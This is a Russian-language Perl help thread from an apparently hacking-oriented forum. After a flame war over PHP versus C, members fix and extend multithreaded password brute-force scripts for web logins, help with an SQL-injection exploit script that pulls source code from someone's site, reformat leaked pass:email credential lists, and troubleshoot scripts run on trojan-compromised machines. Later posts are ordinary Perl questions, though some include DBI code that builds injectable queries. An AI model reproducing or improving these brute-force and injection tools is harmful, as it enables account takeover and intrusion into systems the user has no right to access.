23.05.2009, 14:39

и что? ты процитировал мои слова, дальше что? где характеристика? чё ты тут пытаешься поспорить о том, в чём не разбираешься?
Опяяять....
Не веришь мне - спроси любого другого участника форума, может тогда в твою маленькую головуюпридет мылсь, что нельзя сравнивать пых и си. НЕЛЬЗЯ

Т-34

23.05.2009, 14:44

Опяяять....
Не веришь мне - спроси любого другого участника форума, может тогда в твою маленькую головуюпридет мылсь, что нельзя сравнивать пых и си. НЕЛЬЗЯ
чё ты на других косишь?) за себя отвечай.
ты представления не имеешь о языках программирования, эксперт

или все считают, что ты набрутил асек, сделал фейк (2 строки кода) и ты очень крут?)

wildshaman

23.05.2009, 15:00

чё ты на других косишь?) за себя отвечай.
ты представления не имеешь о языках программирования, эксперт

или все считают, что ты набрутил асек, сделал фейк (2 строки кода) и ты очень крут?)

а при чем тут брут асек и фейки?)
Соскакиваем с етмы, ибо ответить нечего?)

Т-34

23.05.2009, 16:25

Соскакиваем с етмы, ибо ответить нечего?)
сейчас я тебе, как у тебя на уроках поясню. с темы никто не соскакивал. я тебя спросил про различия. ты начал приводить нелепые какие-то метафоры с лодками, транпортными средствами. после начал орать, что НЕЛЬЗЯ. потом решил скосить на других :"спроси любого другого участника форума". Всем этим ты подчёркиваешь лишь то, что НИКАК не разбираешься в теме, тебе нечего ответить на вопрос.

Но. Всунуться ты всунулся. Ты думал, что твои плюсики и статус псевдо-эскперта == "авторитетное" мнение. ты ошибаешься. авторитетным мнением тут даже не пахнет. все твои "авторитеты" сводятся к написанию 4х элементарных строк кода и к нажатию на кнопочки брутера.. с такими знаниями, в таких темах тебе ловить нечего. читай молча или читай книги.

wildshaman

23.05.2009, 17:04

сейчас я тебе, как у тебя на уроках поясню. с темы никто не соскакивал. я тебя спросил про различия. ты начал приводить нелепые какие-то метафоры с лодками, транпортными средствами. после начал орать, что НЕЛЬЗЯ. потом решил скосить на других :"спроси любого другого участника форума". Всем этим ты подчёркиваешь лишь то, что НИКАК не разбираешься в теме, тебе нечего ответить на вопрос.

Но. Всунуться ты всунулся. Ты думал, что твои плюсики и статус псевдо-эскперта == "авторитетное" мнение. ты ошибаешься. авторитетным мнением тут даже не пахнет. все твои "авторитеты" сводятся к написанию 4х элементарных строк кода и к нажатию на кнопочки брутера.. с такими знаниями, в таких темах тебе ловить нечего. читай молча или читай книги.

Если ты не понимаешь метафоры, то это никак не моя вина. Да, пых и си НЕЛЬЯЗ сравнивать, я орал, ору и буду об этом орать. насчет других участников - если ты не веришь мне, на что твое право, то, может, ты поверишь другим. в теме скорее ты никак не разбираешься, угу.
Мои плюсики лично для меня ничего не значит и я еще нигде и никогда не хвалился ими, а знаний у меня предостаточно как минимум для напсиания "четырех элементарных строк кода", которые, имхо, ты написать и не сможешь. Так что читать молча будешь ты, а не я.
Оке?

Kursor

23.05.2009, 17:27

Т-34 ,ты не понимаешь о чем говоришь.На си в основном пишут десктопные приложения(за редким исключением).php предназначен совершенно для другого.Это равносильно сравнению гондонов и противозачаточных таблеток.И то и другое-контрацептивы,но таблетку ты на хер не оденешь. Тема бессмысленна . Т-34 в бан.

Spyder

23.05.2009, 22:37

одно интерпретируемое, а другое - компилируемое

интерпритатор - это один из видов компилятора
И интерпритатор так же компилирует перл-код в код двоичный и выполняет его на лету
Из перлового скрипта можно и exe сделать, импортировав туда все либы. И что ты тогда скажешь?)

wildshaman

23.05.2009, 22:44

Я лишь процитировал слова того умника :)
Ну вот спайдер, ты же вроде умный, аж в МОА
Вот разве можно сравнивать пых и си?)

Spyder

23.05.2009, 22:48

Языки можно сравнить
Но то что они для разных целей - тут я спорить не буду

Spyder

23.05.2009, 22:49

пхп на си написан, поэтому сравнить можно)

yaoleg

04.06.2009, 01:55

Помогите переделать скрипт под список логинов, а то у меня ничего не получается! :confused:

#!/usr/bin/perl

use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Starting brute...\n";

open (FP , '<pass.txt') || die ("No password list! \n"); # Пароли в pass.txt
my @pass = <FP>;
close FP;

my $login_username = 'login'; # ЛОГИН!
my $i=0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
for (@pass)
{
my $nowpass = $_;
chomp @pass;
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$login_username,$nowpass);

$i=($i+1) % 5; #Количество потоков (5)

}

foreach(threads->list) { $_->join; }

sub brute()
{

$ua->cookie_jar($cookies);
my $req = $ua->post('http://*.php', {
'st.posted'=>'set',
'username'=>$_[0],
'password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;

my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[1]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
print "PASSWORD FOUND!!!!!\n";
}
else
{
open (G , '>>bad.txt');
print G $login_username."\n";
close G;
print "[-] BAD $_[1]\n";

}}

krypt3r

04.06.2009, 07:43

Код по-человечески оформите

demond

04.06.2009, 11:28

yaoleg, а в чем проблема? Код написан понятно, даже комментарии есть!

krypt3r

04.06.2009, 12:35

yaoleg, так попробуйте заюзать

open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt
open my $FP, '<'. 'pass.txt' or die "No password list: $! \n"; # Пароли в pass.txt
my @login = <$FL>;
my @pass = <$FP>;
close $FP;
close $FL;

#my $login_username = 'login'; # ЛОГИН!
foreach my $login_username (@login) {
chomp $login_username;
my $i = 0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar ($cookies);
for my $nowpass (@pass) {
chomp $nowpass;
if ($thr[$i]) {
threads->object ($thr[$i]->tid())->join;
}
$thr[$i] = threads->create (\&brute, $login_username, $nowpass);

$i = ($i + 1) % 5; #Количество потоков (5)
}
}

yaoleg

04.06.2009, 19:31

Извините, но у меня не работает! Что делаю не так?

#!/usr/bin/perl

use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Starting brute...\n";

open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt
open my $FP, '<'. 'pass.txt' or die "No password list: $! \n"; # Пароли в pass.txt
my @login = <$FL>;
my @pass = <$FP>;
close $FP;
close $FL;

#my $login_username = 'login'; # ЛОГИН!
foreach my $login_username (@login) {
chomp $login_username;
my $i = 0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar ($cookies);
for my $nowpass (@pass) {
chomp $nowpass;
if ($thr[$i]) {
threads->object ($thr[$i]->tid())->join;
}
$thr[$i] = threads->create (\&brute, $login_username, $nowpass);

$i = ($i + 1) % 5; #Количество потоков (5)
}
}
}

foreach(threads->list) { $_->join; }

sub brute()
{

$ua->cookie_jar($cookies);
my $req = $ua->post('http://*.php', {
'st.posted'=>'set',
'username'=>$_[0],
'password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;

my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[1]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
print "PASSWORD FOUND!!!!!\n";
}
else
{
open (G , '>>bad.txt');
print G $login_username."\n";
close G;
print "[-] BAD $_[1]\n";

}}

krypt3r

04.06.2009, 21:28

Что значит не работает? Если выводит ошибку, то дайте ее нам. Еще желательно заюзать use warnings; после use strict;
Есть у меня подозрение, что с фигурными скобками у вас не все ладно

yaoleg

04.06.2009, 22:48

Ошибка такая: Missing right curly or square bracket at script.pl line 67, at end of line syntax error at script.pl line 67, at EOF Execution of script.pl aborted due to compilation errors.

krypt3r

04.06.2009, 22:51

Я угадал =) проверьте кол-во фигурных скобок и правильность их расмещения. По-моему, вот здесь

$thr[$i] = threads->create (\&brute, $login_username, $nowpass);

$i = ($i + 1) % 5; #Количество потоков (5)
}
}
}

последняя лишняя

yaoleg

04.06.2009, 23:08

Эта ошибка после 5-го пароля!
Starting brute...
[-] BAD qwerty
[-] BAD 123456
[-] BAD 555555
[-] BAD 111111
[-] BAD 1234
Can`t call method "join" on an undefined value at script.pl line 29.

KNEII

11.06.2009, 18:36

Имеется скрипт, хотелось бы сделать так чтоб пароли брались также как и логины из файла txt. Сам пытался сделать но не получается.

Сам скрипт:
#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';

$pwd = shift || '123456' ; #Пароль
$threads = shift || 20 ; #Кол-во потоков
$ml = shift || 'acc.txt' ; #Список акков
$fname = 'good.txt' ; #Валидные

my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
my @acc : shared = <ACS>;
chomp(@acc);
close(ACS);

$size = scalar @acc;
print "Loaded: ".$size." accs.\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my $sock = sock();

my $data =
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"username\"\n\n".
"$acc\n".
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"password\"\n\n".
"$pwd\n".
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"login\"\n\n".
"Submit\n".
"-----------------------------18847261322183--\n\n";

my $re =
"POST HTTP/1.1\n".
"Host: \n".
"User-Agent: Mozilla/4.0\n".
"Connection: close\n".
"Referer: \n".
"Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
"Content-Length: ".length($data)."\n\n".$data;

print $sock $re;
read($sock,my $answ,10000);

if($answ =~ /cdb_auth/)
{
print "[+] $acc\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
flock(FILE, LOCK_EX);
print FILE "$acc:$pwd\n";
flock(FILE, LOCK_UN);
close(FILE);
}
{lock($i);$i++;}
print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
close($sock);
}
}

sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => '',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "Can't connect\n";
} while (!$sock);
return $sock;
}

Точто сам сделал:
$pwd = shift || 'pass.txt' ; #Пароль
$threads = shift || 20 ; #Кол-во потоков
$ml = shift || 'acc.txt' ; #Список акков
$fname = 'good.txt' ; #Валидные

my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
open (PWD, "<$pwd") || die("Could not open pass list file!");
my @acc : shared = <ACS>;
my @pwd : shared = <PWD>;
chomp(@acc);
chomp(@pwd);
close(ACS);
close(PWD);

$size = scalar @acc;
$size2 = scalar @pwd;
print "Loaded: ".$size." accs.\n";
print "Loaded: ".$size2." pwds.\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

Дальше не могу сообразить что делать.

kopele

15.06.2009, 12:40

Script is edit now work.

Reverse Place From Pass:Email To Email:Pass
---------------------------------------

#!/usr/bin/perl -w

print "Select Option:\n\n";
print "[1]: Reverse Place [ Pass:Email To Email:Pass ]\n\n";
print "Option:";

$option = <STDIN>;
chomp($option);
print "Specify Input File: ";
$input_filename = <STDIN>;
chomp($input_filename);
open(INFILE, $input_filename);
print "Specify Output File: ";
$output_filename = <STDIN>;
chomp($output_filename);
open(OUTFILE, '>' . $output_filename);
if ($option == 1) {
while ($line = <INFILE>) {
$_ = $line;
/(.+?):(.+?)\n/;
$a = $2;
$b = $1;
$a =~ s/^\s+//;
$a =~ s/\s+$//;
$b =~ s/^\s+//;
$b =~ s/\s+$//;
print OUTFILE $a, ':', $b, "\n";
}
}

Special tanks to Kaimi and int3

Kaimi

15.06.2009, 13:05

Pleace help to finish this script.
Reverse Place From Pass:Email To Email:Pass

#!/usr/bin/perl -w

print<<HERE;
Select Option:
[1]: Reverse Place [ Pass:Email To Email:Pass ]
HERE

chomp(my $opt = <>);

if($opt == 1)
{
print "Specify input file: ";
chomp(my $in = <>);
print "Specify output file: ";
chomp(my $out = <>);

open A, "<", $in || die $in."-".$!;
open B, ">>", $out || die $out."-".$!;

while(<A>)
{
$_ =~ /(.+?):(.+?)\n/;
print B $2.":".$1."\n" if defined $1 && defined $2;
}

close A;
close B;
}
else
{
print "No option has been specified\n";
}

kopele

15.06.2009, 13:27

Thanks Kaimi,
can some 1 fix my script

GarmiN

17.06.2009, 02:26

Извените но я сосвсем тупой и непонимаю!
Поэтому задам вопрос соответственно моей тупости!
Я видел на одном форуме как с перл сделали античит для кс 1.6
Неподскажите как сделать?
Думаю мне помогут

4y4o

18.06.2009, 12:15

1. Выбрать из таблицы базы данных MySQL случайную запись несколькими способами.
Есть одно важное ограничение – диапазон id НЕ является непрерывной числовой последовательностью!
Структура таблицы:
CREATE TABLE `rand_test` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(50) NOT NULL default '',
`ispub` tinyint(1) NOT NULL default '1',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=1 ;

Пояснения:
id - первичный ключ
name - информация ключа
ispub - признак публикации (1- запись участвует в выборке, 0-нет)

2. Вывести древовидную структуру, основываясь на данных из таблицы MySQL.
Скрипт должен отформатировать текст используя шаблон, хранящийся отдельно (Условие обязательно).
Структура таблицы:
CREATE TABLE `tree` (
`id` int(11) NOT NULL auto_increment,
`pid` int(11) NOT NULL default '0',
`name` varchar(50) NOT NULL default '',
`ispub` tinyint(1) NOT NULL default '1',
PRIMARY KEY (`id`),
KEY `pid` (`pid`)
) TYPE=MyISAM AUTO_INCREMENT=1 ;
Пояснения:
id - первичный ключ
pid - ключ «родительского» элемента (0- для корневого)
name - информация ключа
ispub - признак публикации (1- запись учитывается, 0-запись не учитывается)
Шаблон:
Для упрощения задачи шаблоном принимается асоциативный массив, используемый скриптом и хранящий описанием форматирования вывода дерева.
$template=array(
'body' =>'<ul>{body}</ul>',
'node' =>'<li>{node} <ul>{sub}</ul>',
'item' =>'<li>{item}',
);

В итоге, вы должны получить:
1. PHP скрипт, выводяший древовидную структуру из БД
2. Иметь возможность полностью изменить форматирование текста, не изменяя кода самого скрипта.

Нужно очень быстро решить задание. Стукните в асю 394820553 дам денег

budden

21.06.2009, 16:35

Подскажите мини-скрипт пожалуйста, который бы в файле с кучей строк вида:
123 67 123 342132 12312 123 3bitch2:hello:hello5:4234
в первом сегменте - до первого ":" - удалял бы все пробелы?

Krist_ALL

21.06.2009, 16:54

$a = explode(':',"123 67 123 342132 12312 123 3bitch2:hello:hello5:4234");
$b = str_replace(' ','',$a[0]);
echo $b;

FireFenix

21.06.2009, 19:21

$a = explode(':',"123 67 123 342132 12312 123 3bitch2:hello:hello5:4234");
$b = str_replace(' ','',$a[0]);
echo $b;
Это тема Perl, а не PHP
Как нужно правилньо файл открыть, чтобы она заработала?
В Perl нету explode, а есть split

Регулярка будет вроде - $text =~ s/ //g;

Kaimi

21.06.2009, 19:31

Попробуй так

open BLAH, '<', 'file.txt' or die 'can't read';
while(<BLAH>)
{
chomp;
my ($a, $b) = split /:/, $_;
$a =~ s/\D//g; $b =~ s/ //g;
print $a.":".$b."\n";
}
close BLAH;

budden

21.06.2009, 19:45

Kaimi
Немного изменил под свой случай и помогло. Спасибо!

demond

21.06.2009, 21:56

Если надо удалить все пробелы, то регулярное выражение $b =~ s/ //g;
должно выглядеть так:
$b =~ s/\s+//g;

Kaimi

21.06.2009, 22:03

Если надо удалить все пробелы, то регулярное выражение $b =~ s/ //g;
должно выглядеть так:

Почему?

Spyder

21.06.2009, 22:16

насколько я помню то в \s помимо пробела ещё входят символ табуляции, перевода строки и тп символы
так что примре Kaimi наиболее правильный
ЗЫ
\s
Matches any whitespace character; this is equivalent to the class [ \t\n\r\f\v].

demond

22.06.2009, 09:39

насколько я помню то в \s помимо пробела ещё входят символ табуляции, перевода строки и тп символы
так что примре Kaimi наиболее правильный
ЗЫ
\s
Matches any whitespace character; this is equivalent to the class [ \t\n\r\f\v].
Буду иметь в виду. :-)

kopele

29.06.2009, 21:22

Reverse IP help.
I search for good reverse ip that
ask for insert ip then scan and make output file
whit the ip name and check for host too.

Insert IP:95.95.95.95

95.95.95.95.txt and inside

--------------------------
Report for:95.95.95.95

Hosting:blabla

1.http://www.xxx.com
2.http://www.xxx.com
etc.etc
--------------------------
Some site for reverse

http://www.ip-adress.com/reverse_ip/209.xx.xx.xx
http://www.sitedossier.com/ip/87.xx.xx.xx
http://www.robtex.com/ip/
http://wservices.ru/reverseip.php

and 1 old script

#!/usr/bin/perl

use LWP::UserAgent;
while (!$ARGV[0]) {
print "Usage: $0 IP \n"; exit;}
$a = 1;
$ua = new LWP::UserAgent(timeout => 15, agent => "Mozilla/5.0 (x11; u; linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7)" );

$req = $ua->get('http://whois.webhosting.info/' . $ARGV[0] . '?pi=1&ob=SLD&oo=ASC');
if (!($req->is_success)) {

die $req->status_line; }
else {
$output = $req->as_string;
until ($output =~ /(.*?)IP\sDetails\s-\sN\/A\./) {
$req = $ua->get('http://whois.webhosting.info/' . $ARGV[0] . '?pi=' . $a . '&ob=SLD&oo=ASC');
if (!($req->is_success)) { die $req->status_line; }
$output = $req->as_string;

while ($output =~ /<td><a\shref=\"http:\/\/whois.webhosting.info\/(.*?)\">/g){
my($crap,$yes)=split(/info\/(.*?)\.\"\>/,$&);
print "$yes\n";
}
sleep 5;
$a++;
}
print "Done!\n";
}

Thanks in advance.

incbot

01.07.2009, 11:57

Здраствуйте Не осилил всю ветку может где и поднималось. В общем есть задачка написать сплойт по вытаскиванию в познавательных целях php исходников с одного сайта через внедрение запроса к МySQL (используя обнаруженную SQL - injection и благоприятные права на чтение файлов у пользователя БД) Ручками я их уже повытягивал, используя InetCrack, но ввиду большого количества файлов столкнулся с большим количеством рутинных операций. Попробывал написать perl скрипт но столкнулся со сложностями. Дело в том, что для успешной SQL-injection используется обратная кавычка (см переменную sql_inj_str после param) Переменная успешно создается с обратным апострофом в теле, но вот серверу она в качестве контента передается не правильно(судя по ответу как обычная кавычка, которая фильтруется или я чего-то не догоняю) Я не большой специалист в PERLе так что помогите кто чем может :) Посмотрите пожалуйста код, может будут какие-то мнения?

#!/usr/bin/perl
# подключение библиотек
use strict;
use LWP;
use HTTP::Cookies;

# Путь к сайту и "ядовитый" запрос
my $url='test_site.ru';
my $sql_inj_str='param`+where+name=char(100,100,100)+ union+select+0,0,0,0,0,0,0,0,0,123456789,0+;+--+';

# подготавливаем виртуальный браузер и создаем файл для cookie
my $browser = LWP::UserAgent->new;
$browser->cookie_jar( HTTP::Cookies->new('file' => 'cookies','autosave' => 1));

# отправка запроса
my $script='/index.php?lang=ru&path=log'; #путь до уязвимого скрипта сервера
my $response = $browser->post($url.$script,
Content_Type => 'application/x-www-form-urlencoded',
Content =>
[
nick=>'Test_nick',
server=>$sql_inj_str,
,
]
);
die "$url error: ", $response->status_line unless $response->is_success;

# сохраняем страницу ответа в LOG
open(LOG,'>out_htm.htm');
print(LOG $sql_inj_str);
print(LOG $response->content);
close(LOG);

j0ker13

26.07.2009, 15:49

попробуй вместо кавычки %27

mr-leon

06.08.2009, 19:31

пожалуйста если у вас есть время помогите мне: подскажите как сделать чтоб фаил с расширенеем pl работал мой icq 6680194 будуочень благодарен

Gaus

06.08.2009, 19:58

пожалуйста если у вас есть время помогите мне: подскажите как сделать чтоб фаил с расширенеем pl работал мой icq 6680194 будуочень благодарен
Скачай activeperl (http://downloads.activestate.com/ActivePerl/Windows/5.10/ActivePerl-5.10.0.1005-MSWin32-x86-290470.msi), установи и запусти из командной строки
perl C:\script.pl
Где "C:\script.pl" - путь к скрипту

$ereg@

09.08.2009, 12:49

помогите пажалуйста...
есть 2 компьтера, на обоих стоит актив перл.
беру один и тотже перл скрипт, запускаю через cmd.
на обоих компьтерах скрипт запускается, но когда начинаю вводить параметры на одном компьтере он параметры принмает и начинает работу, на другом компьтере пишет что параметры неверные...
версия актив перл одна и таже.
такое впечатление что скрипт либо не принимает параметры, либо принимает в какой-то изковерканной форме. например когда раные кодовые таблицы... подскажите чёнибудь пж..

Gaus

09.08.2009, 13:34

помогите пажалуйста...
есть 2 компьтера, на обоих стоит актив перл.
беру один и тотже перл скрипт, запускаю через cmd.
на обоих компьтерах скрипт запускается, но когда начинаю вводить параметры на одном компьтере он параметры принмает и начинает работу, на другом компьтере пишет что параметры неверные...
версия актив перл одна и таже.
такое впечатление что скрипт либо не принимает параметры, либо принимает в какой-то изковерканной форме. например когда раные кодовые таблицы... подскажите чёнибудь пж..
мб кодировки разные? ты случайно не на дедах запускал?

$ereg@

09.08.2009, 13:37

ну впринципе да... два похеканых компа под ХР через троян от мелгомягких...

Gaus

09.08.2009, 14:19

ну впринципе да... два похеканых компа под ХР через троян от мелгомягких...
Ну а ты что хотел, у тебя на тачке норм запускается?

$ereg@

09.08.2009, 14:22

да, норм) на некоторых дедах норм... а на некоторых не хотит... чё делать ? :(

Gaus

09.08.2009, 15:01

да, норм) на некоторых дедах норм... а на некоторых не хотит... чё делать ? :(
Как я сказал, дело в кодировке скорей всего.
Попробуй сохранить скрипт в UTF-8.
Там у тебя в параметрах же только латинские буквы и цифры?

$ereg@

09.08.2009, 19:23

В параметрах
1) IP
2) название директори
чёнибудь помутить с кодировками попробую чуть позже, када дед будет онлайн...

$ereg@

10.08.2009, 10:24

да, походу реально чё-то с кодировкой было... када скрипт ему кидал, у него перл не был установлен, скрипт обозначался как файл блокнота... а на деде с блокнотом чё-то намучено... поставил перл заново, поновой кинул ему скрипт, изменил настройки блокнота на стандарт, всё заработало...
всёравно спасибо всем за помощь, хоть и сам разобрался...

Xszz

10.08.2009, 13:23

Подскажите , пытаюсь переименовать файл через rename получаю в ответ Permission denied .
(win32)
Как боротцо ?? Спасибо.

dinar_007

10.08.2009, 18:44

Подскажите , пытаюсь переименовать файл через rename получаю в ответ Permission denied .
(win32)
Как боротцо ?? Спасибо.
Дать необходимые права...
Что за файл переименовываешь?
Не файл реестра случаем? :)

ZET36

13.08.2009, 23:00

Можно увидить пример конструирования сырых сокетов?

okthxnz

14.08.2009, 01:09

Как изменить вид php скрипта, чтобы фунция осталась на прежднем уровне?

cr0w

14.08.2009, 12:20

Можно увидить пример конструирования сырых сокетов?
Если использовать модули на основе libpcap (Net::RawIP), то примеры есть в их документации.
Можно обойтись и без спеиальных модулей - почитай статью:
http://xain.hackerdom.ru/zine/online/issue0/Raw%20&%20Packet%20Sockets%20in%20PERL.html

demond

14.08.2009, 12:38

Можно увидить пример конструирования сырых сокетов?
Вот ссылка на документацию с несколькими примерами. perl raw socket (http://www.tcos.org/Bulletin/fall96/golden.ps)

ZET36

15.08.2009, 03:29

cr0w, demond: большое спасибо, всё получилось.

anubis666

17.08.2009, 21:52

ПОМОГИТЕ ПОЖАЛУЙСТА!!-->как сделать чтобы system ('start D:\tmp\ffmpeg.exe -i D:\tmp\$name -an -ss 00:00:10 -r 1 -vframes 1 -s 200?200 -y -f mjpeg $name.jpg');
выполнялся после #!"D:\perl\bin\perl.exe"

use CGI qw/:standard/;

# Код для HTML-формы
print "Content-Type: text/html\n\n";
print "<form method=\"post\" enctype=\"multipart/form-data\" action=\"upload.pl\">";
print "<input type=\"file\" name=\"picture\">";
print "<input type=\"submit\" name=\"Submit\" value=\"Submit\">";
print "</form>";

#end of print form

insert_image() if (param());

sub insert_image {
# путь к директории для закачки директория
# должна иметь право на запись для
# пользователя, под которым работает веб-сервер
my $downpath = "d:/tmp/";

my $in=param('picture');

# выделяем имя файла из параметра
my ($name) = $in =~ m#([^\\/:]+)$#;

open(OUT,">$downpath$name");
binmode(OUT);
# читаем входной поток и пишем в файл
while (<$in>) {
print OUT $_;
}
close(OUT);

# выводим надпись о закачке файла <$name>
print "Upload file: $name"; объясните в подробностях..

demond

17.08.2009, 22:28

ПОМОГИТЕ ПОЖАЛУЙСТА!!-->как сделать чтобы system ('start D:\tmp\ffmpeg.exe -i D:\tmp\$name -an -ss 00:00:10 -r 1 -vframes 1 -s 200?200 -y -f mjpeg $name.jpg');

для начала чтобы вместо переменной $name подставилось ее значение, необходимо одинарный кавычки заменить на двойные.
А затем подробнее объясни что именно необходимо! Из столь общего описания ничего не понятно!

anubis666

17.08.2009, 22:45

извините что сразу не объяснил.
1.скрипт планируется использовать для загрузки и конвертирования видео..
2.пременныю $name я взял из скрипта (она выводит имя файла и расширение к примеру : video.flv)...т.к будет загружатся много видео создавать превью и конвертировать тоже..
3.я поменял ковычки и сразу после загрузки видео страница виснет.(не грузит)

Kaimi

17.08.2009, 23:07

я поменял ковычки и сразу после загрузки видео страница виснет.(не грузит)

"Виснет" видимо потому, что при использовании system скрипт будет ожидать завершения процесса конвертирования.

anubis666

17.08.2009, 23:13

но конвертер консольный( ffmpeg.exe)а как я знаю консольные приложения сразу закрываются после выполнения сценария... почему же #!"D:\xampp\perl\bin\perl.exe"

print "Content-Type: text/html\n\n";

print "OK";
system ('start D:\tmp\ffmpeg.exe -i D:\tmp\video.avi -ar 22050 -ab 32 -f flv -s 320x240 video2.flv') выполняется нормально и создает превью?!

roddik

17.08.2009, 23:45

вроде бы как перл будет ждать ответа от system, чтобы это отключить, надо перенаправить вывод системной команды, попробуй посмотреть во что превращается "start D:\tmp\ffmpeg.exe -i D:\tmp\$name -an -ss 00:00:10 -r 1 -vframes 1 -s 200?200 -y -f mjpeg $name.jpg", потом запусти в консоли, будет ли долго исполнять, если нет, заюзай профайлер

anubis666

17.08.2009, 23:56

всё..большое спасибо за ответы, проблема решается токо когда указываеш полный путь к файлу..но теперь проблема...надо каждый раз прописывать путь к новому видео...как это автоматизировать в этом скрипте?

demond

19.08.2009, 09:16

всё..большое спасибо за ответы, проблема решается токо когда указываеш полный путь к файлу..но теперь проблема...надо каждый раз прописывать путь к новому видео...как это автоматизировать в этом скрипте?
прибавляй к имени файла, там где это нужно, путь. и будет тебе счастье! :-)

anubis666

30.08.2009, 00:15

и сново я...объясните мне что делаю не так!есть perl скрипт
#!"D:\perl\bin\perl.exe"

use DBI;
use CGI qw/:standard/;
use CGI qw(param);
use CGI::Carp qw(fatalsToBrowser);
my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost",
"****", "****") || die $DBI::errstr;
print "Content-Type: text/html\n\n";
my $view=param('id');
my $video=param('v');
my $title=param('t');
$result = $dbh->do("SELECT file_id FROM video WHERE file_id='$view'");
$result2 = $dbh->do("SELECT video_id FROM video WHERE video_id='$video'");
$result3 = $dbh->do("SELECT title_id FROM video WHERE title_id='$title'");
print "<center>$result2</center>";
print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'></script>

<div id='mediaspace'>This text will be replaced</div>

<script type='text/javascript'>
var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9')
so.addParam('allowfullscreen','true')
so.addParam('allowscriptaccess','always')
so.addParam('wmode','opaque')
so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result')
so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result.jpg')
so.write('mediaspace')
</script>
</center>";
print "краткое описание $result3";
$dbh->disconnect();
почему значение переменных ($result,$result2,$result3) равно 1,хотя должно выводится значение полей (file_id,video_id,title_id)? я так понимаю это из-за использования метода do..если я прав то как это исправить?(хотя даже если не прав ,как исправить?)

PvgValo

30.08.2009, 00:21

Очень боюсь ошибиться, так как совсем недавно начал писать на Perl! Но для получения данных использую не do, а следующим образом:
$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'");
$result->execute();
$result = $result->fetchrow_hashref();

Kaimi

30.08.2009, 00:28

Прочти описание метода do и вопросы отпадут

anubis666

30.08.2009, 00:32

$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'");
$result->execute();
$result = $result->fetchrow_hashref();
при использовании prepare выводится значение DBI::st=HASH(0x198c884) ,а когда остальные появляются ошибки ... :confused:

Spyder

30.08.2009, 00:46

омг
do() используется для запросов UPDATE и INSERT и тп, так как возвращает результат запроса (1=ошибки нет, 0=ошибка)
Юзай prepare(),execute() и fetchrow_hashref

Spyder

30.08.2009, 00:52

$fileid= $result->{file_id}

anubis666

30.08.2009, 00:59

тогда почему при использовании prepare мне выводится значение не поля а DBI::st=HASH(0x1a2c884),использую execute выходит ошибка Can't locate object method "execute" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13.,использую fetchrow_hashref выходит Can't locate object method "fetchrow_hashref" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13. ..ЧТО ДЕЛАТЬ?ДА Я НУБ!!но что делать? :confused:

PvgValo

30.08.2009, 01:08

Вот! Если не ошибаюсь, должно быть так! НЕ судите строго если ошибся... :rolleyes:

#!"D:\perl\bin\perl.exe"
use DBI;
use CGI qw/:standard/; use CGI qw(param);
use CGI::Carp qw(fatalsToBrowser);
my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost", "****", "****") || die $DBI::errstr;
print "Content-Type: text/html\n\n";
my $view=param('id'); my $video=param('v');
my $title=param('t');
$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'");
$result->execute();
$result2 = $dbh->prepare("SELECT video_id FROM video WHERE video_id='$video'");
$result2->execute();
$result3 = $dbh->prepare("SELECT title_id FROM video WHERE title_id='$title'");
$result3->execute();
my $result_file = $result->fetchrow_hashref();
my $result_video = $result2->fetchrow_hashref();
my $result_title = $result3->fetchrow_hashref();
